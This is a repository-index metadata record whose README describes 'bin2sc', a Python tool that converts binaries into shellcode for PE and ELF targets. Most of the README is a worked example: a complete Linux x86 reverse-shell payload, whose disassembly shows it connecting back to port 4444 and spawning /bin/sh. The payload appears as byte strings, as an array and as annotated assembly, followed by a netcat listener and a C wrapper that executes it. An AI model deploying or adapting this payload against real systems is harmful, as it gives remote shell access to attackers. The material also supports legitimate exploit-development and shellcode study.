{"id":17442440,"url":"https://github.com/vulnwarex/bin2sc","last_synced_at":"2025-04-19T02:52:32.698Z","repository":{"id":100207710,"uuid":"226246273","full_name":"vulnwarex/bin2sc","owner":"vulnwarex","description":"Binary to shellcode from an object/executable format 32 \u0026 64-bit PE , ELF ","archived":false,"fork":false,"pushed_at":"2021-02-07T21:21:05.000Z","size":36,"stargazers_count":72,"open_issues_count":0,"forks_count":13,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-16T03:55:32.778Z","etag":null,"topics":["assembly","co","python","shellcode"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vulnwarex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-12-06T04:34:33.000Z","updated_at":"2025-04-08T16:59:18.000Z","dependencies_parsed_at":"2023-05-12T21:15:20.083Z","dependency_job_id":null,"html_url":"https://github.com/vulnwarex/bin2sc","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vulnwarex%2Fbin2sc","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vulnwarex%2Fbin2sc/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vulnwarex%2Fbin2sc/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vulnwarex%2Fbin2sc/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vulnwarex","download_url":"https://codeload.github.com/vulnwarex/bin2sc/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249596889,"owners_count":21297458,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["assembly","co","python","shellcode"],"created_at":"2024-10-17T16:06:09.613Z","updated_at":"2025-04-19T02:52:32.669Z","avatar_url":"https://github.com/vulnwarex.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# bin2sc\nBinary to shellcode\n\nNote:\nThe core DLLs of Win32 are `kernel32.dll, user32.dll, and gdi32.dll`. if your shellcode uses syscalls from any of the core DLLs, you will need to add it. \n\nWin32 libs are located in `C:\\\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.18362.0\\um\\`, in my case is `10.0.18362.0` version, but in your host machine could change.\n\n## Install\n```\ngit clone https://github.com/SkyBulk/bin2sc.git\nchmod +x bin2sc.py\npython3 bin2sc.py \n```\n\n## Example Usage:\n```python;\npython3 bin2sc.py shellcode.asm {sc_arr,sc_app} {linux,win} {x86,x64} /full/path/to/WinApi32/kernel32.Lib\n```\n\n```asm\n[+] block Shellcode\nshellcode = \"\"\nshellcode += \"\\x89\\xe5\\x31\\xc0\\x31\\xc9\\x31\\xd2\\x50\\x50\"\nshellcode += \"\\xb8\\xff\\xff\\xff\\xff\\xbb\\x80\\xff\\xff\\xfe\"\nshellcode += \"\\x31\\xc3\\x53\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\"\nshellcode += \"\\x31\\xc0\\x31\\xdb\\x66\\xb8\\x67\\x01\\xb3\\x02\"\nshellcode += \"\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x66\\xb8\\x6a\\x01\"\nshellcode += \"\\x89\\xe1\\x89\\xea\\x29\\xe2\\xcd\\x80\\x31\\xc9\"\nshellcode += \"\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x49\\xcd\\x80\\x41\"\nshellcode += \"\\xe2\\xf6\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f\"\nshellcode += \"\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\"\nshellcode += \"\\x0b\\xcd\\x80\"\n\n[+] linear shellcode\n\n\\x89\\xe5\\x31\\xc0\\x31\\xc9\\x31\\xd2\\x50\\x50\\xb8\\xff\\xff\\xff\\xff\\xbb\\x80\\xff\\xff\\xfe\\x31\\xc3\\x53\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x31\\xc0\\x31\\xdb\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x66\\xb8\\x6a\\x01\\x89\\xe1\\x89\\xea\\x29\\xe2\\xcd\\x80\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf6\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\n\n\n[+] linear src_arr shellcode\n\nshellcode = [0x89, 0xe5, 0x31, 0xc0, 0x31, 0xc9, 0x31, 0xd2, 0x50, 0x50, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xbb, 0x80, 0xff, 0xff, 0xfe, 0x31, 0xc3, 0x53, 0x66, 0x68, 0x11, 0x5c, 0x66, 0x6a, 0x02, 0x31, 0xc0, 0x31, 0xdb, 0x66, 0xb8, 0x67, 0x01, 0xb3, 0x02, 0xb1, 0x01, 0xcd, 0x80, 0x89, 0xc3, 0x66, 0xb8, 0x6a, 0x01, 0x89, 0xe1, 0x89, 0xea, 0x29, 0xe2, 0xcd, 0x80, 0x31, 0xc9, 0xb1, 0x03, 0x31, 0xc0, 0xb0, 0x3f, 0x49, 0xcd, 0x80, 0x41, 0xe2, 0xf6, 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0xb0, 0x0b, 0xcd, 0x80]\n```\n\n### Double check shellcode opcodes \n\n```asm\nshellcode:     file format elf32-i386\n\n\nDisassembly of section .text:\n\n08048060 \u003c_start\u003e:\n 8048060:\t89 e5                \tmov    ebp,esp\n 8048062:\t31 c0                \txor    eax,eax\n 8048064:\t31 c9                \txor    ecx,ecx\n 8048066:\t31 d2                \txor    edx,edx\n 8048068:\t50                   \tpush   eax\n 8048069:\t50                   \tpush   eax\n 804806a:\tb8 ff ff ff ff       \tmov    eax,0xffffffff\n 804806f:\tbb 80 ff ff fe       \tmov    ebx,0xfeffff80\n 8048074:\t31 c3                \txor    ebx,eax\n 8048076:\t53                   \tpush   ebx\n 8048077:\t66 68 11 5c          \tpushw  0x5c11\n 804807b:\t66 6a 02             \tpushw  0x2\n 804807e:\t31 c0                \txor    eax,eax\n 8048080:\t31 db                \txor    ebx,ebx\n 8048082:\t66 b8 67 01          \tmov    ax,0x167\n 8048086:\tb3 02                \tmov    bl,0x2\n 8048088:\tb1 01                \tmov    cl,0x1\n 804808a:\tcd 80                \tint    0x80\n 804808c:\t89 c3                \tmov    ebx,eax\n 804808e:\t66 b8 6a 01          \tmov    ax,0x16a\n 8048092:\t89 e1                \tmov    ecx,esp\n 8048094:\t89 ea                \tmov    edx,ebp\n 8048096:\t29 e2                \tsub    edx,esp\n 8048098:\tcd 80                \tint    0x80\n 804809a:\t31 c9                \txor    ecx,ecx\n 804809c:\tb1 03                \tmov    cl,0x3\n\n0804809e \u003cdup\u003e:\n 804809e:\t31 c0                \txor    eax,eax\n 80480a0:\tb0 3f                \tmov    al,0x3f\n 80480a2:\t49                   \tdec    ecx\n 80480a3:\tcd 80                \tint    0x80\n 80480a5:\t41                   \tinc    ecx\n 80480a6:\te2 f6                \tloop   804809e \u003cdup\u003e\n 80480a8:\t31 c0                \txor    eax,eax\n 80480aa:\t31 d2                \txor    edx,edx\n 80480ac:\t50                   \tpush   eax\n 80480ad:\t68 2f 2f 73 68       \tpush   0x68732f2f\n 80480b2:\t68 2f 62 69 6e       \tpush   0x6e69622f\n 80480b7:\t89 e3                \tmov    ebx,esp\n 80480b9:\tb0 0b                \tmov    al,0xb\n 80480bb:\tcd 80                \tint    0x80\n```\n\n## shellcode testing \n```\nblackleitus@blackleitus:~$ nc -lvp 4444\nListening on [0.0.0.0] (family 0, port 4444)\n```\n\n## Wrapper shellcode\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n\nunsigned char code[] = \"\\x89\\xe5\\x31\\xc0\\x31\\xc9\\x31\\xd2\\x50\\x50\\xb8\\xff\\xff\\xff\\xff\\xbb\\x80\\xff\\xff\\xfe\\x31\\xc3\\x53\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x31\\xc0\\x31\\xdb\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x66\\xb8\\x6a\\x01\\x89\\xe1\\x89\\xea\\x29\\xe2\\xcd\\x80\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf6\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\";\n\nint main(void) {\n\tprintf(\"Shellcode Length:  %d\\n\", strlen(code));\n\tint (*ret)() = (int(*)())code;\n\tret();\n}\n```\n\n`Connection from localhost 49058 received!` \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvulnwarex%2Fbin2sc","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvulnwarex%2Fbin2sc","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvulnwarex%2Fbin2sc/lists"}